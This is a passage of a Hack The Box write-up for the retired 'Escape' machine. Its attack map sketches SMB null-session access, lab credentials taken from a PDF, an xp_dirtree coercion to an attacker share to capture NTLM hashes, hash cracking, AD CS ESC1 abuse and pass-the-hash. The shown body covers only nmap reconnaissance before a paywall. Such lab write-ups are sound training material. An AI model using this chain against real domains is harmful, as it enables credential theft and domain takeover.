root@thehacksparrow:~/writeups$ SYSTEM ONLINE
· log in sign up
← back to HackTheBox writeups
root@sparrow:~/writeups$ cat escape.md
// writeups

Escape

25 Feb 2023 · 27 min read · root access
writeupshacktheboxwindowsMediumretiredvip
Escape - maquina de Hack The Box

Executive summary — Escape is a domain controller that also hosts a SQL Server instance, and compromising it fully chains six weaknesses with no CVE: an SMB null session, credentials published in a PDF, an NTLM coercion attack against the SQL Server service account via xp_dirtree, a dictionary password, a password leaked by mistake into a log file, and finally an AD CS template vulnerable to ESC1 that turns any domain user into Domain Admin. No single link would have been enough on its own; each one hands over exactly what's needed to reach the next.

PlatformHack The Box
Operating systemWindows
DifficultyMedium
StatusRetired
Target IP10.129.228.253

Attack map

[SMB] null session -> "Public" share readable with no credentials
   │  contains "SQL Server Procedures.pdf"
   ▼
[PDF] courtesy credentials: PublicUser / GuestUserCantWrite1
   │  + staff names (Ryan, Tom, Brandon) -> firstname.lastname convention
   ▼
[1433] SQL Server, public role, no sysadmin -> EXEC xp_dirtree '\\attacker\share'
   │  sql_svc authenticates over NTLM against our SMB -> NetNTLMv2 hash captured
   ▼
[hashcat -m 5600] REGGIE1234ronnie (rockyou) -> sql_svc has WinRM access (Pwn3d!)
   │  C:\SQLServer\Logs\ERRORLOG.BAK -> password mistyped into the username field
   ▼
[WinRM] Ryan.Cooper / NuclearMosquito3  (user.txt)
   │  AD CS template "UserAuthentication" -> ESC1 (Enrollee Supplies Subject)
   ▼
[certipy] certificate as administrator@sequel.htb -> TGT + NT hash (PKINIT)
   ▼
[ROOT]  pass-the-hash against Administrator  (root.txt)

1. Reconnaissance

Before scanning a single port, the TTL already gives away the OS: Windows initializes it to 128, Linux to 64. A ttl=127 (128 minus the VPN hop) points to Windows and shapes the whole methodology that follows.

ping -c 3 -W 3 10.129.228.253
64 bytes from 10.129.228.253: icmp_seq=1 ttl=127 time=37.3 ms
nmap -p- --min-rate 5000 -T4 -Pn -oN nmap-allports.txt 10.129.228.253
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
1433/tcp  open  ms-sql-s              <- anomalous on a DC
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49667,49689,49690,49706,49716/tcp open unknown

The 53/88/389/445/464/3268/9389 combo is an unmistakable domain controller signature: 88 (Kerberos) is the definitive tell, only a KDC listens there. 5985 (WinRM) matters as a remote-access vector as soon as a valid credential in Remote Management Users turns up. And there's a real anomaly: 1433/tcp — SQL Server. A DC shouldn't be hosting a database: it's extra attack surface, its own service account, running on the most critical asset in the domain. By the machine's design, this will be the entry vector.

nmap -sCV -p53,88,135,139,389,445,464,593,636,1433,3268,5985,9389 -Pn -oN nmap-services.txt 10.129.228.253
389/tcp  open  ldap    Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel
|_ssl-date: 2026-08-09T00:56:46+00:00; +8h00m08s from scanner time.

1433/tcp open  ms-sql-s  Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info:
|     Target_Name: sequel
|     NetBIOS_Domain_Name: sequel
|     NetBIOS_Computer_Name: DC
|     DNS_Domain_Name: sequel.htb
|_    DNS_Computer_Name: dc.sequel.htb

5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

Host script results:
| smb2-security-mode:
|_    Message signing enabled and required
|_clock-skew: mean: 8h00m07s

Five facts, each with concrete operational consequences. Domain sequel.htb, DC dc.sequel.htb. SQL Server 2019 Express confirmed. Message signing enabled and required: mandatory SMB signing kills NTLM relay — when a hash gets captured later on, it can't be relayed, only cracked offline; that decides the whole strategy right here. The LDAPS certificate issued by an internal CA hints at AD CS deployed in the domain, the first clue toward what will become the escalation vector. And clock-skew: +8h00m07s: Kerberos rejects any authentication more than 5 minutes off, which will break the final phase unless fixed beforehand.

echo "10.129.228.253 dc.sequel.htb sequel.htb dc" | sudo tee -a /etc/hosts

In Active Directory, name resolution isn't optional: Kerberos issues tickets for name-based SPNs, and AD CS needs the CA's FQDN. Working by IP alone breaks half the toolchain.

🔒 Clearance required

This content is Root Access only. Everything else on the site — the free tier, the whole public library — stays open.

See Root Access plans

No account? Create one free then upgrade from your console.